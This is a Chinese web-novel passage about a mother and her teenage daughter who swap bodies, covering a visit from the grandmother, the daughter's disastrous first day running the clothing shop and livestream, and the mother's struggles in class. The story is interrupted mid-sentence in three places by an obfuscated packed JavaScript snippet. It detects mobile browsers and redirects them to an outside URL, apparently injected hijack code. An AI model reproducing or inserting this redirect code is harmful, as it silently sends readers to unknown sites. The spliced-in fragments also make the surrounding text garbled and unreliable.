《冤种母女的翻车日常》 1. 我们互换了 “我回来了~” 周五的晚上，结束晚自习回家的高三学生米卡，在家门口做了个深呼吸后，才拿钥匙打开家门。 “米卡你回来了啊？太好了，帮我把电视柜下面抽屉里的零食拿来吧～” 她才刚进门，就听见南茜在沙发上趴着喊。 自始至终，南茜的眼睛都没有离开电视上的狗血偶像剧。 “妈，你啥时候能不把我当成语音助手一样地使唤啊？”米卡无语，边脱鞋边叹了口气。 “哎呦，我的小棉袄最好了，妈妈最爱你了～”南茜用她腻死人的夸张音调，面不改色地奉承自己的亲闺女。 “我真不知道到底你是妈还是我是妈。”米卡换好鞋，走到电视柜旁。 打开抽屉，里面满满当当都是各种膨化食品。 “浪味仙还是呀土豆？” “浪味仙，蔬菜味的！”南茜在沙发上笑嘻嘻，险些被米卡扔过来的零食砸到脑袋。 “吃完早点洗澡睡觉，快十点了，明天不去店里也不能睡太晚了。”米卡扔下这句，就进屋换衣服，准备去洗澡睡觉。 “知道了～”南茜懒洋洋地应着，回头看了米卡一眼，朝她身后吐了吐舌头。 南茜这两年一直在经营一家网红服装店。店不大，线下的实体店坐落在市郊。她每天睡到中午才起床，穿着美美的小裙子去上班。直到半夜做完直播才回家。 南茜一贯过得很逍遥，可是米卡最近各种不顺。 高三复习艰苦，第一轮复习接近尾声，最近她的成绩总是起伏不定。年级第一已经好几次被同班的贾言夺走，米卡心里实在郁闷。 而比成绩更让她心累的，是这个让她一心想逃离的家，和这个怎么看都不靠谱的妈。 她笃定地认为，唯有拼尽全力考上顶尖的大学，才能彻底摆脱这里，真正拥有自己的人生。 等米卡心烦意乱地洗完澡出来，她才注意到客厅角落的一堆快递盒子。她走过去看看上面的标签，都是南茜买给自己的东西。有包包、衣服、香水…… “你又乱买东西了，”米卡还是没忍住，边擦头发边指责南茜，“你买这些东西有啥用？你有空就不能关心一下我？” “我没不关心你啊？”南茜愕然，“再说我买点东西有啥问题吗，前两天双十一，我趁便宜买点东西，让自己开心一下不行吗？” “我给你也顺便买了几件衣服。知道你不喜欢店里那种可爱风，我专门给你在供货商那里拿了几件基础款，你看看，好不好看？” 南茜一边说着，一边把衣服拿出来，在米卡面前展开。她露出期待的表情看着米卡，活像个求表扬的小学生。 米卡扫了一眼那件T恤，款式倒是简洁的，但上面有个粉嫩的蝴蝶结图案，着实不是米卡的菜。 “谢谢，我不稀罕你用这些来讨好我，”米卡冷冷地说，“请你也不要把双十一当做自己乱花钱的借口。我劝你有功夫多留心一下店里的情况，我实在很怀疑你的店是怎么撑到现在的。” 米卡说完，没有理会南茜的反应就进了房间，独留南茜一个人在客厅。 南茜的笑容还僵在脸上。她看着米卡身后关上的门，忽然觉得屏幕上的节目很吵闹，再也没了看电视的兴致。她关上电视，在一片寂静中，也回了房间。 “她越来越像你了，承安。” 南茜有很多小秘密，她把这些秘密都放在一个小盒子里。 她从盒子里拿出一张发黄的老照片，看着照片喃喃自语。 米卡这一夜睡得并不安稳。 她回到自己的孩童时期。久远到她以为自己已经不记得了。 她梦到自己在幼儿园。 “米卡，你的神仙妈妈来接你回家了！” 米卡顺着声音回头，看见南茜穿着夸张的蓬蓬裙，烫着大波浪，踩着高跟鞋，笑意盈盈地向自己走来。 “阿卡，我的好宝贝，”南茜温柔地唤她。她仿佛带着光，就像童话书里走出来的女神。 她在米卡身边蹲下来，向米卡伸开双臂，“我给你带了跳跳糖和旺仔小馒头，你要先吃哪个？” “我要旺仔小馒头，我还要回家看动画片。” 米卡扑到南茜怀里，在其他小朋友羡慕的目光中，跟着南茜回家。 头昏昏沉沉的，带着闪回的眩晕感。 她面前又出现了三岁时的生日蛋糕。 可那并不是个快乐的场景，只有南茜陪在她身边。她坐立不安，时不时往门口张望，好像在等什么人。 门铃响了，南茜飞快地跑去开门。 米卡也跑过去，看见承安。她想过去抱抱他，却不想南茜就在门口和他争吵起来。 米卡躲到旁边，吓得瑟瑟发抖。过了一会儿，家里又安静下来，南茜回屋，却没有看见承安的身影。 那一天后，承安就再也没有回来。 “妈妈，爸爸不要我们了吗？”米卡小心翼翼地问南茜。 “阿卡，我们以后不提他了，就妈妈天天陪着你，好不好？” 南茜并没有正面回答她。 从那一天起，米卡就真的再也没和南茜提起承安。 米卡逐渐清醒。她费力地睁开眼睛，一阵头晕目眩的感觉传来。 天已大亮，甜腻的香水味涌入米卡的鼻腔。 等视线清晰，映入米卡眼帘的，是床边窗台上一堆可爱的玩偶，粉嫩的窗帘，柔软的床上四件套。 她这才意识到自己正躺在南茜的房间。 怎么回事？ 她清楚地记得是在自己的房间入睡的。 米卡头疼欲裂，她开始回想入睡之前发生的事。 她记得自己回家就进浴室洗澡，洗完澡和南茜拌了几句嘴，就睡了。 “妈？” 米卡开口把自己吓了一跳。自己的声音，怎么是南茜卡哇伊的气泡音？ 她害怕又疑惑。当她下床站起来，发现自己视角变低了。 “我身高变低了吗？” 她狐疑地跑到门边，那里放着南茜粉嫩嫩的椭圆形穿衣镜。 映入眼帘的是小麦色的皮肤，和大波浪卷发。这张属于四十岁的女人的脸上一丝皱纹也无，俨然还是一副少女模样。 这可不就是南茜的样貌吗！ 米卡心里已经猜出了七八分，下意识就往自己的卧室里冲。 “妈妈妈，大事不好了！”米卡不顾南茜还在睡，自己出口的气泡音听着让她忍不住起鸡皮疙瘩，但床上躺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441460|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的人的样貌，已然印证了她的猜想。 公主切的利落短发，白皙的皮肤，躺在床上也能看出来的高挑身材。 床上躺着的人是“自己”啊！ “咋了你一大早大呼小叫…嗯？”南茜也察觉到了不对，“我声音怎么成这样了？不对，我咋在阿卡床上？” “你，你是南茜，对吧？”米卡为了确认，甚至叫了南茜的全名。 “不然呢？啊？你是谁？咋和我长得一样？”南茜还没反应过来。 米卡无语。她拉着南茜，打开衣柜门。里面简洁的穿衣镜前，照出“米卡”一脸懵逼的表情，和“南茜”无奈上翻的白眼。 “就像你看到的这样，”米卡看着镜子里愣怔的“自己”，努力适应着自己发出南茜的气泡音，“咱俩应该是互换身体了。” “啊？”南茜用米卡沙哑地磁性嗓音尖叫起来，听起来颇有几分滑稽。 “……还有这种好事？”她倒是挺快就接受了这个事实。 “……好事？”米卡扶额，看着自己那张脸上少见的生动表情，“妈你是不是傻，是你能替我上学还是我能替你工作？” 米卡实在没法想象，那会是怎样一番可怕的景象。 “你能替我工作呀！”南茜笑眯眯地，米卡从来没见过自己这么灿烂的笑容，“你不是天天觉得我工作轻松，啥也不干，正好你休息一下，天天吃吃喝喝，卖卖衣服，多好！” …米卡倒是觉得，南茜这个朝气蓬勃的表情，确实比自己更像个高中女生。 就这样的妈，现在连初中知识能不能记全都不知道，还能替自己上学？ 现在离高考就剩下半年。如果半年内换不回来，就意味着只能让南茜替自己高考。 想到这，米卡只觉得自己这辈子都要完了。 “唉呀好开心，”不同于米卡的焦虑，南茜的语气里带着十足的雀跃。 她沉浸在自己的世界里，令米卡十八岁的年轻嗓音听起来就像只快乐的小鸟，“没想到我都不惑之年了还能重回十八岁，哈哈哈哈～” 米卡看着精神好像不正常的南茜，在心里翻了一万个白眼。 “放心吧闺女，妈会努力学习的，不会让你的学霸身份蒙羞～”看着“自己”忧心忡忡的脸，南茜依旧满不在乎，嘻嘻哈哈地拍着米卡的肩膀。 “为了预祝我们互换后的生活顺利，我们一起去吃火锅吧！”再抬起头，米卡看见的，就是“自己”灿烂的笑脸。 她还在适应自己那张年轻的脸上如此生动的表情，这样的笑，让她显得十分可爱。 “…你想吃火锅就直说”，米卡一眼看穿她的企图，“不会你现在就想去吧？” 她刚才起床时就看了一眼窗外，已经开始飘雪花了。 “下雪天不是正好吃火锅吗！”南茜还是笑嘻嘻地说。 “你是那夜空中，最美的星星…”正在这时，南茜的电话忽然响了起来。 “喂？”南茜接起电话，脸色逐渐变了，“已经到楼下了？好，我马上给您开门哈。” “谁啊？大雪天的跑咱家？”米卡等南茜挂了电话，好奇地问。 “完了完了，你快准备一下”，南茜慌得不行，“你姥姥马上就要上来了！” 2. 姥姥来了 “她咋忽然想到过来？”米卡一听，也着急了。 “她做了点家乡小吃，非要现在送过来。”南茜有些心烦意乱地回答米卡。 南茜会做饭，但人极其懒，平时大多靠外卖度日。言淑看不过去，便时不时给她接济三餐。 “你刚才直接编个理由，说咱俩不在家不就完了，比如咱俩出去玩了”，米卡一边抱怨，一边在南茜乱糟糟的衣架上找到她的裙子，站着就往腿上套。 她一时没掌握好平衡，还差点摔了一跤。 “我这不是一着急忘了吗，”南茜说着吐了吐舌头，这表情在米卡那张清冷的脸上看着格外滑稽。 “那她现在马上上来了。记住你是米卡，我是南茜，别露馅了。”米卡真服了，这也就是老人家反应慢，没发现声音不对，不然这不就已经穿帮了吗！ “小茜，阿卡，我来了！”南茜话音刚落，就听见言淑在门外喊，声音里带着来看自己两个孩子的开心。 “妈，您看这还辛苦您来跑一趟。”米卡打开门，她一边把言淑往门里迎，一边把已经在心里排练了好几遍的话脱口而出，“您又带了什么来呀？最喜欢妈做的小吃了！” “啊？你今天吃错药了？”言淑愣了一下。 以她对南茜的了解，就自己闺女那天天和自己称兄道弟的性格，会和自己说辛苦了？太阳打西边出来了吧？ “说啥呢，我好着呢！”米卡学着南茜的样子，没心没肺地笑。言淑看到她像往常一样有点调皮的样子，心里反而放松了几分。 南茜正躺在床上，张口想喊“妈”，看到米卡的眼珠朝她转了又转，立马改口。 “姥姥，您来啦，给我带啥好吃的没？” 言淑一愣，今天这咋回事？咋感觉这话像闺女小茜会说的？ “带了你从小最爱吃的抹茶饼干，”言淑边说，边把带过来的东西一样一样往外拿，“三明德的，你最喜欢的牌子。快尝尝，还是不是之前的味道了？” 在言淑热切的目光下，南茜慢条斯理地打开饼干盒子，拿出一块绿色的饼干，放到嘴里。苦涩的抹茶味在她味蕾上炸开，让她不自觉地皱了皱眉。 南茜不喜欢这种略带苦味的零食，这是米卡喜欢的。南茜自己更喜欢甜甜的曲奇。 “怎么了，不舒服吗？”言淑看南茜的表情，关切地问。 “没有，很好吃！”南茜连忙在嘴角扯出一个微笑。 “妈，我给您倒点水喝”，米卡见状，连忙招呼言淑在沙发上坐下。她一边给言淑倒水，一边和她寒暄道，“路上堵车吗？” “还行，倒不算很堵。”言淑看着放到自己面前的热茶，心里的疑影又起来了，“不忙小茜，你和自己妈还有啥客气的！” “啊，是啊，呵呵！”米卡有点僵住，只能假笑一下。她意识到自己是有点过分客气了，可她又实在学不会南茜面对言淑的完全放松。 “姥姥，妈昨天晚上没睡好，您刚才猜得对！”南茜在旁边看着，竟然还在唯恐天下不乱，“所以发烧引起了性格大变！” 南茜仗着自己变成了小辈，开始信口胡说。 她心里暗爽，开心得很！ “啊？你真发烧了？”言淑着急了起来，伸手就要去摸米卡的额头。 “真没事，妈您听阿卡瞎说。”米卡一边说，一边缓缓地挡开言淑关切地伸来的手，同时还不忘趁言淑不注意，用眼神“关照”一下南茜。 如果米卡的眼神是刀，那南茜现在应该已经被杀一百回了，“那个，今天中午您准备给我们做啥好吃的啊？” 她尽量站在南茜的角度来说话，只希望言淑不要太怀疑。 毕竟在言淑心里，南茜就是个天天对老母亲吃拿卡要，四体不勤，五谷不分的主。 “你还让妈给你做啥好吃的啊”，南茜瞟了一眼米卡，过来打岔，“带姥姥去吃火锅啊！刚才咱俩不是说好去吃火锅的吗，正好带着姥姥一起！” “……也好”，言淑迟疑了一下，“倒是很少见卡卡这么积极要吃火锅，那咱们什么时候走？” 三人都看向客厅墙上挂着的那个卡哇伊的猫猫时钟。 十一点半，也是可以吃饭的时候了。 “那个，妈，您要上个厕所不？”米卡率先打破了沉默。她一边问言淑，一边向南茜使眼色。 “啊对，姥姥，您先上个厕所吧。”南茜不知道米卡想干啥，只能先配合。 等言淑走向卫生间，米卡用最低的分贝和南茜说： “等下我找个理由尽快把姥姥请走，不然时间越长，越容易穿帮！” 话音刚落，言淑已经从卫生间出来了。 米卡面不改色地开始扯谎：“妈，我刚接到布料供应商的电话，说今天让去个人到店里取新到的布，我准备过去一趟。不行您就早点回去吧？” “周末你不是从来不去店里吗？”言淑被米卡的话弄得一头雾水，“周末都有文烁在店里，让她去不就好了？” 米卡在心里默默扶额。得了，今天是无论如何都圆不过去了是吧！ “就是，你给文烁姐打个电话说一下不就得了？” “那好吧，我进屋给她打个电话。” “喂？文烁，今天麻烦你去‘绿菊’那边拿点布料。到了你先放店里就行。嗯嗯，好，拜拜。” 米卡装做在房间打电话。还故意大声喊出来，生怕言淑怀疑。 “那我们现在准备出发吧？”走出房间，南茜开口。 那么接下来的问题又来了。 出去吃火锅，不出意外肯定要开车去。 可米卡也就是刚刚成年啊！一个高三学生，连方向盘都压根没摸过啊！ 米卡拿眼神拼命示意南茜。 南茜显然知道米卡在顾虑什么。 “我来看看，天太冷了，咱们就不去太远了。就去咱家楼下那个海底捞吧，就几百米，走着去就行。”南茜边翻美团边说。 “还等你化妆吗？”言淑问米卡。她了解南茜，她出门必化妆。 “今天就不化了，”米卡灵机一动，只觉得雪天救自己狗命，“今天太冷了，实在不想往脸上涂涂抹抹。” 外面大雪纷飞，肯定高跟鞋也不用穿了。太好了！ “那咱们走吧！” “阿卡，最近你成绩咋样？”等三人坐到店里，点好菜，言淑又想出了一个话题。 “很好啊，”南茜信口胡说，“最近才考了个年级第一。” “啊？”言淑闻言感到诧异，“你不是前两天还和我打电话，说你的年级第一被别人抢走了吗？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441461|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“呵，呵呵，您搞错了，”南茜硬着头皮说，“我和您说的那次考试以后又有一次考试，我重回第一了。” 反正高三考试多得很，言淑也搞不清楚到底说的是哪一次。 “你们两个今天怎么都怪怪的？”言淑实在忍不住了，开口问，“你们娘俩到底在搞什么名堂？” 米卡头皮发麻。老人的眼神仿佛已经看穿了一切。她几乎要绷不住，想要直接和姥姥摊牌。 “其实……” “没啥”，南茜淡定地开口，“我俩在玩角色扮演，就是我扮演妈，妈扮演我，我们在打赌，谁输了谁给谁一千块钱。” “你们还挺有闲工夫，还玩角色扮演。”言淑半信半疑，“倒是把我这个老太太耍得不知道啥情况了，跟不上你们的时髦了。” 看言淑总算差不多信了，米卡也松了口气。也是，谁能想到灵魂互换这么离谱的事会发生在母女俩身上呢？ 一顿饭吃得战战兢兢，生怕再出现破绽。等母女俩把老人送走，都大大地松了口气。 好在恰逢周末，两人借此机会，充分了解了对方的生活状态。纠结什么时候能再换回来没有意义，现在唯一能做的，就是做好“长期抗战”的准备。 南茜紧急和米卡科普了平时店铺的工作流程、直播需要准备什么、有什么话术、需要对接的供应商、一起工作的同事等信息； 米卡则和南茜交代了现在各科课程的进度，自己座位的位置、同桌和周围同学的名字，保证南茜第一天上学不至于显得那么“突出”。 两人约定，每天晚上回家后，互相复盘当天发生的事。米卡这边每天做好当天的作业，南茜则每天确定好需要第二天需要上直播的服装款式。 “其他的呢？你的朋友之类的，有需要交代的吗？”南茜好奇地提醒。 “没啥了。我在学校没啥朋友。”米卡冷冷地说。 南茜一愣，眼底闪过一丝不易察觉的心疼。她想了想，还是默默抱了抱女儿。 米卡很快写完第二天要交的作业。交代南茜，明天上课交上去就行。 “会有课代表来收，收哪个给哪个就行。”米卡不放心地叮嘱。 “行了行了，我又不是没上过学，”南茜说，倒是你，等下再练习一下化妆，我一早就走了，可没空帮你化。“ 带着期待与担忧，米卡晚上在床上久久不能入睡。 她在脑子里又排练了一遍南茜去店里的时间，化妆的步骤，如何整理货品，如何直播卖货。 等南茜都排练完了，她还是睡不着。 她看着隔壁房间呼呼大睡的南茜，更担心了。 她只能心里祈祷一切顺利。到了现在，只能兵来将挡 ，水来土掩了。 这时的米卡不会想到，互换的第一天，会比她设想的的还要可怕。 “叮铃铃～” 早上八点半的闹钟响起。米卡迷迷糊糊地睁开眼，从床上爬起来洗漱。 前一晚因为入睡太晚，米卡眼睛几乎都睁不开。她叼着牙刷，习惯性地往南茜屋里看。 嗯？米卡看了一眼，准备继续刷牙，猛然发现不对。 南茜怎么还在床上？ “妈，妈妈妈，”米卡着急地一边推她一边叫，“起来了，八点半了！你要迟到了！” 3. 服装店的第一天 “～嗯？你说啥？现在几点了？”南茜还没清醒过来，睡眼惺忪地揉眼。 “我说八点半了！”米卡都急得火上房了，“你赶快起来，我先帮你请两小时假，就说我上午生病了。” “……” “你咋又睡上了？”等米卡吐掉刷牙的泡沫，返回南茜的房间，气不打一处来，“妈，你是不是忘了啥重要的事？我七点开始上课，你快点给我去学校！” “啊？”南茜顿时清醒过来，一个弹射起床，“我这就起！” 米卡看着南茜飞速洗漱完，穿好自己宽大的校服，跌跌撞撞地冲出家门，叹了口气。 家里恢复了平静。米卡看看时间，8点45，还算来得及。 她坐在南茜的化妆镜面前，笨拙地开始化妆。 具体的步骤，周末已经实战演练过了。可当自己一个人独立完成，米卡还是手忙脚乱。 先美妆蛋湿水……底妆OK了，接下来画眉毛……嗯？完了，底妆前面忘了修眉了！ 还好昨天眉毛修差不多了……哎，这咋这么难画，眉毛画得好像有点长啊！ 这眼影怎么都坨在眼皮上了…… 花了半个小时，到了9点15分，米卡终于吭哧吭哧地把妆化得差不多了。都怪南茜，平时上个班还都是这么浓的全妆，真耽误时间！ 还有15分钟上班，要是用跑的可能还赶得及。 可是，她得穿高跟鞋去店里啊！ 米卡灵机一动。 她选择背个包，把高跟鞋放包里，穿运动鞋去，等快到店里了换下来！ “呼……总算赶上了”，米卡在离店还有一个转角就到的地方停下，看表，9点28分，正好。 她放下背包，下意识四下张望了一下，见四下无人，才从包里掏出高跟鞋，准备换上。 “嘿！南茜你在这干什么呢？” 忽然有人拍米卡的肩膀，把米卡吓得整个人猛地一弹，直接从石阶上蹦了起来。 “哎！文烁姐……” “你没事吧！？”文烁出现得太突然，米卡猛然站起的时候踩到了高跟鞋上。 脚脖子一阵剧痛，米卡皱起了眉头。 脚崴了。真是祸不单行。 “咋了你这是？脚没事吧？”文烁扶着米卡，又看了看旁边的平底鞋，“你咋想起来穿平底鞋了？” 当然有事！ 米卡在心里哭唧唧。 “没啥，想体验一下学生时代的感觉，”米卡信口胡说，反正南茜平时也没个正形。 文烁越发觉得奇怪，她一边搀着崴脚的“南茜”往店里走，一边打量她这个最熟悉的好友兼老板。 “想穿平底鞋还怕我发现啊？”文烁接过米卡手里又黑又大的双肩背包，“还有你的妆……” “怎么了？” 米卡听文烁对自己的妆容支支吾吾，心又提到嗓子眼。 “你底妆已经有点花了”，文烁一针见血，“还有你那个眼线怎么画这么抖，不是你的水平啊。” 唉，我水平就这样了啊！ 说话间，两人已经站在店门外了。 店铺名：“公主の可爱小铺”。 店铺招牌是一个字一个字的灯牌，其中“主”“爱”“铺”字已经不亮了，远远看去就是“公 の可小 ”。 米卡一脸黑线。这招牌都这样了，南茜也不知道找人修一下？ 进到店里，米卡更是开了眼了。 店里很暗，打开灯，米卡看见一排一排的衣架密密麻麻地排放着，间距是很难进去人的程度；靠内墙的一侧，很多未拆的库存随意地堆在地上，各种型号和款式都混在一起，分不清哪件是哪件。 但有个角落吸引了米卡的注意。 不同于店里的昏暗与混乱，那个房间门口挂着可爱的小牌子，写着“公主の化妆间。” 推开门进去，映入眼帘的是一面巨大的落地镜，镜子四周是波浪形的粉色边框。边框是有灯带的那种，能发出闪瞎眼的粉色光芒。 门边另一侧，是同样粉色系的梳妆台，台子上的化妆镜带着粉色的兔子耳朵。就连梳妆台前的化妆凳，和凳子下面的小毯子，都是软萌的粉色。 可与这些形成强烈反差的是，梳妆台上凌乱地摆放着各式口红和粉饼，有的口红连盖子都找不到了；落地镜旁边的衣架也是很乱，各种季节各种样式的衣服完全没有分类，随意地在上面挂着。 这是南茜平时直播的地方。 “南茜，你磨叽什么呢？要来客人了！”文烁的呼喊将米卡拉回了现实。 “好的，这就来了！”米卡应着，瘸着崴了的脚，出门去迎客。 来人是一个中年妇女，进店只是随便看了两眼，没什么停留的意思，很快便走了。 过了一会儿，又有个小姑娘进来看。米卡只是默默观察，也不出声。 “老板，”小姑娘开口问米卡，“这件衣服还有M的吗？” 米卡走过去，看了一下款式，转头问文烁，“文烁姐，这件衣服库存在啥地方，你知道吗？” 文烁一愣，“在你手边的地上啊，你看下有没有。” 米卡翻看了一下，找到M号递给小姑娘。 小姑娘接过衣服：“试衣间在哪？” “试衣间……试衣间……”米卡紧张得头上冒汗，也不敢问文烁了，伸个脖子四处张望。 “那边试衣间哈，有需要叫我们。”文烁实在看不下去，给小姑娘指了方向。 “你今天咋了？”文烁实在没忍住问米卡，“你咋啥也找不到了？你失忆了？” “我……”米卡不知怎么解释，这些细节南茜又没有说！ “另外你今天为啥叫我‘文烁姐’？你比我大啊！” 米卡头皮发麻。 文烁甚至个疑问没说，那就是，平时有顾客进店，南茜都会热情介绍款式的，今天怎么这么沉默？ 好不容易捱到是下午五点。平时店里的直播都是从晚上七点开始，但是米卡现在就开始紧张晚上的直播了。 她拿出手机，趁没有顾客的时候，就赶快再扫两眼南茜教她的直播话术。 “欢迎姐妹～梁州实体店，甜酷显瘦风，同城可以到店试穿、自提。想要看上身效果的，我现在直接穿给你们看……” “你从刚才开始就在念叨什么呢？”文烁好奇。 “没……没啥！”米卡实在太害怕文烁再看出点什么了。 晚上直播的衣服款式，前一天南茜已经发到她手机上了，但是她想现在就整理一下样衣，为晚上做好准备。可又不想再求助于文烁，只能自己东摸摸，西翻翻。 文烁看她一顿折腾，问她：“你在翻啥？” “我想着找一下晚上直播的款式先挂出来。”被问到脸上，南茜只得硬着头皮道。 “不是就在你直播间挂着呢吗？”文烁一脸奇怪，“昨天才换的这几款直播，这周不都是那几件吗？还是说你要换其他款？” 米卡真服了，最重要的重点南茜怎么不说！ 她上楼看了下，南茜直播间的衣架虽乱，仔细看确实还是有规律的。甚至前一天南茜发给自己的照片顺序，和衣架上每个款式的排列顺序都是一致的。 这倒是米卡没想到的。 晚上的直播如期而至。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17441463|201053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “开始了吗？欢迎姐妹~梁州实体店：公主的可爱小铺，甜酷显瘦风，同城可以到店试穿、自提。想要看上身效果的，我现在直接穿给你们看……” 米卡坐在镜头前僵硬地开始，语气好像在念稿。 对面没反应，弹幕一片安静。 米卡不知所措，顿了一下决定继续。她拿过文烁递过来的开衫，声音开始有点颤抖： “那么我们来看今天第一款，这是一款开衫，上面有个红色蝴蝶结点缀……哎不对，是的粉色的蝴蝶结，这款比较甜，甜美风。” 米卡觉得自己有点紧张得喘不过气来了，她停下，深呼吸一口，发现自己更紧张了，“这款很百搭休闲，大家可以看下我的上身效果……” 米卡把开衫套在自己身上，接着说，大家可以看下，我平时穿……S码的开衫，这件是M码，大家可以看下上身效果。” 米卡又停了一下，差点说成自己穿L号，S号是南茜的尺码。 "身高体重和想要的款式可以在公屏打出来，我来推荐尺码。"好容易磕磕巴巴，把所有款过完一遍了，米卡稍微松了口气。 她拿出准备好的尺码表，照着公屏，一个一个对照。 “155cm，110斤？……嗯，开衫可以选L码，啊？”米卡看见文烁又在给她使眼色，文烁情急之下给她比了个“心形”出来。 “M，M码更适合哈！” 米卡越播反而越紧张。战战兢兢介绍完一轮，就看弹幕大家的反馈。 “这个绿色开衫，适合搭配怎样的口红？”米卡一脸懵逼地看着弹幕，差点下意识说：这个我不懂啊。 她也确实不懂啊！ 她只能示意文烁救场。文烁无语，把一只豆沙色的口红塞在她手里。 “适合……肉粉色的口红”，米卡甚至不知道豆沙色这种专有的说法，“我来给大家涂一下看看”。 米卡慌里慌张，对着镜子，手却是抖的。 她把口红满满地涂了一嘴唇。 她没发现，口红被她涂出去了。配合从一早开始就没晕染开的眼影，整张脸看上去都有点儿狼狈。 米卡定了定神，才又开口：“这个颜色显得比较温柔，和这个浅绿色很搭。” 这话说的倒是没问题，但关键是，说完话，口红就沾到牙上了！ 文烁在她对面无语地扶额。 “今天的主播是怎么了？感觉和平时不太一样。”这样一条留言映入米卡眼帘。南南是南茜在直播间的名字。 米卡停住了嘴里的话术，忽然感到早上崴到的脚疼得更厉害了。心里的委屈从早上积累到现在，她几乎要哭出来。 真哭了就太丢人了。 米卡顿了顿，用尽全力让自己把那点眼泪咽回去，她就怕自己一张口，它就从眼眶涌出来。 她选择无视那条留言，不去想，继续努力和其他留言互动。 折磨人的第一次直播终于结束了。米卡好像被卸下了所有力气，只是呆坐着，什么都不想说。 文烁看着她，有一肚子的疑问想问。 看她这副样子，文烁欲言又止，最后还是默默地先离开了直播间。 米卡终于绷不住哭了。 她真恨，恨自己为什么就和南茜互换了，恨自己被逼着忽然进入一个她完全不熟悉的世界，大人的世界。 她也恨南茜。在她印象里，以南茜不靠谱的性格，她会把自己的前途，自己的人生弄得一团糟。 米卡想，以南茜不靠谱的样子，在学校还不知道会惹出什么麻烦。 她实在不敢对自己这个亲妈抱有什么期望。 4. 学霸怎么了 事实上，南茜确实没让米卡“失望”。 南茜从家出来，一路飞奔。当她赶到学校的时候，上课铃刚好响起，喧闹的校园瞬间安静。 米卡在高三（3）班。南茜之前来开过家长会，所以对教室的位置还是有印象的。 可等她胸有成竹地跑到教室门口，嗯？怎么是高二（3）班！ 敢情是高三了换教室了，南茜不知道！ 南茜见教室不对，正准备扭头就跑，却被一位在走廊上巡逻的老师逮了个正着。 “你哪个班的？”那老师用质疑的语气问。 “高三（3）班的。”南茜心虚地答。 “高三的来这边干啥？高三不是在后边吗？”那老师又奇怪又生气。 “对不起老师，那我先走了！” 南茜懒得和那老师纠缠，扭头就向后面的楼狂奔而去。 “米卡，你生病了也不能进教室都不喊‘报告’吧？” 当南茜好不容易找到教室，想偷偷溜进去，马上就被老赵呵斥了。 老赵是米卡的班主任，教数学。年级不大，头发倒是因为常年教高三辛苦，一早就秃了。 因为秃了以后特别显老，所以大家一般都叫他“老赵”。 “报告！”南茜悻悻地回到教室门口，装模作样地喊了一声。心里却很是不屑。 她小时候上学就是这一套，没想到现在学校还是这些老掉牙的规矩。 老赵这才点点头，示意她进教室。 南茜回忆着昨天米卡交代她的座位。米卡个子高，坐在从教室外侧数第三列，第七排。靠走廊的一侧。 “呼啦！”南茜向座位飞跑过去，想赶快到座位上坐下，却没想到宽大的校服袖子带倒了路过同学桌上的文具袋和一大摞书。 教室的宁静被这一小插曲打破，引得同学们纷纷侧目。 周围有同学发出隐隐的笑声。 “对不起，对不起”，南茜一边小声向那位同学道歉，一边飞快的把书捡起来，“改天请你吃饭哈！” 这次，周围的笑声比刚才更大了点。 高中的小朋友，哪里想得到赔礼道歉还要请吃饭呢？大多是请个零食罢了。 南茜不知道大家在笑什么，还忍不住腹诽：这校服袖子跟个面袋一样，又丑又不方便！ 等南茜坐到座位上，同桌卓琳小声地问她：“听说你发烧了？” “没事，已经好了。”南茜随口答她。米卡平时在班上少言寡语，南茜少说话，倒是也不会让人怀疑。 紧接着就开始听课。 “继续听课了，”老赵见南茜回到座位，敲了敲黑板，“上节课我们讲到，偶函数和奇函数……” 偶函数是啥？奇函数又是啥？ 南茜上过高中。可现在，研究生学历的她，也只能记得这些知识点的名字而已了。 这么多年了，早就忘得干干净净了。 老赵在讲台上讲一些简单的例题，可是现在她连例题都听不懂了。 心里天人交战了半天，南茜终于放弃听课，转而去尝试看懂课本。 等南茜终于搞明白什么是奇偶函数，她抬头看黑板，老赵已经开始讲分段函数、复合函数，开始分类了。 南茜看着黑板上密密麻麻的板书，只觉得脑壳疼。虽然她能理解现在是复习阶段，所有概念整合在一起过一遍是再正常不过的，可对她这个“新同学”来说，这些强塞进来的东西只能让南茜觉得混乱。 “呵～好困”，南茜忍不住打了个呵欠。 实在听不懂，老赵讲得又枯燥，觉得困就是理所当然的事。 她没发现老赵已经看了她好几眼了。 南茜彻底开始摆烂。她连课本也不看了，思维已经神游到自己的小店，不知道米卡在店里怎么样了。 过了一会儿，她又想到自己没做完的一件设计，转而开始在课本上画起那件大衣的款式来。 等她忽然意识到讲课的声音停了，抬头一看，老赵已经站在她桌前，不知道看了她多久了。 “米卡”，老赵看见南茜终于抬头，用很失望的语气说，“……你下课到我办公室来一趟吧。” 